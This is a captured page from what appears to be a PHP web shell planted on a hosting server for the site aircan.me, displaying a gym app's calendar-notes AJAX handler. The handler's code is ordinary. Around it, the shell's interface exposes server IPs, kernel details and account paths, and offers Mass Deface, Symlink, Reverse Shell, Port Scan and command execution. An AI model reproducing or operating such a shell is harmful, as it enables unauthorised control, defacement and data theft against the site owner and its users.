Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
progressgym
/
modules
/
calendario
/
Viewing: actions_notas.php
<?php /** * Módulo Calendario - Acciones AJAX para notas de día */ require_once __DIR__ . '/../../config/database.php'; header('Content-Type: application/json'); $db = getDB(); $uid = $_SESSION['user_id'] ?? 0; $method = $_SERVER['REQUEST_METHOD']; if (!$uid) { echo json_encode(['success' => false, 'error' => 'No autenticado']); exit; } try { switch ($method) { case 'GET': // Obtener notas de un día $fecha = $_GET['fecha'] ?? ''; if (empty($fecha)) { echo json_encode(['success' => false, 'error' => 'Fecha requerida']); exit; } $duo = getDuoId(); $stmt = $db->prepare("SELECT * FROM calendario_notas WHERE fecha = :fecha AND usuario_id = :uid AND duo_id = :duo ORDER BY completada ASC, id DESC"); $stmt->execute([':fecha' => $fecha, ':uid' => $uid, ':duo' => $duo]); $notas = $stmt->fetchAll(); echo json_encode(['success' => true, 'notas' => $notas]); break; case 'POST': $data = json_decode(file_get_contents('php://input'), true); $texto = trim($data['texto'] ?? ''); $fecha = $data['fecha'] ?? ''; $id = $data['id'] ?? ''; if (empty($texto)) { echo json_encode(['success' => false, 'error' => 'El texto es requerido']); exit; } if (!empty($id)) { $stmt = $db->prepare("UPDATE calendario_notas SET texto = :texto WHERE id = :id AND usuario_id = :uid"); $stmt->execute([':texto' => $texto, ':id' => $id, ':uid' => $uid]); echo json_encode(['success' => true, 'message' => 'Nota actualizada']); } else { if (empty($fecha)) { echo json_encode(['success' => false, 'error' => 'Fecha requerida']); exit; } $duo = getDuoId(); $stmt = $db->prepare("INSERT INTO calendario_notas (usuario_id, fecha, texto, duo_id) VALUES (:uid, :fecha, :texto, :duo)"); $stmt->execute([':uid' => $uid, ':fecha' => $fecha, ':texto' => $texto, ':duo' => $duo]); echo json_encode(['success' => true, 'message' => 'Nota creada', 'id' => $db->lastInsertId()]); } break; case 'PUT': $data = json_decode(file_get_contents('php://input'), true); if (empty($data['id'])) { echo json_encode(['success' => false, 'error' => 'ID requerido']); exit; } $completada = $data['completada'] ? 1 : 0; $stmt = $db->prepare("UPDATE calendario_notas SET completada = :completada WHERE id = :id AND usuario_id = :uid"); $stmt->execute([':completada' => $completada, ':id' => $data['id'], ':uid' => $uid]); echo json_encode(['success' => true, 'message' => 'Estado actualizado']); break; case 'DELETE': $data = json_decode(file_get_contents('php://input'), true); if (empty($data['id'])) { echo json_encode(['success' => false, 'error' => 'ID requerido']); exit; } $stmt = $db->prepare("DELETE FROM calendario_notas WHERE id = :id AND usuario_id = :uid"); $stmt->execute([':id' => $data['id'], ':uid' => $uid]); echo json_encode(['success' => true, 'message' => 'Nota eliminada']); break; default: echo json_encode(['success' => false, 'error' => 'Método no permitido']); } } catch (Exception $e) { echo json_encode(['success' => false, 'error' => $e->getMessage()]); }
Coded With 💗 by
0x6ick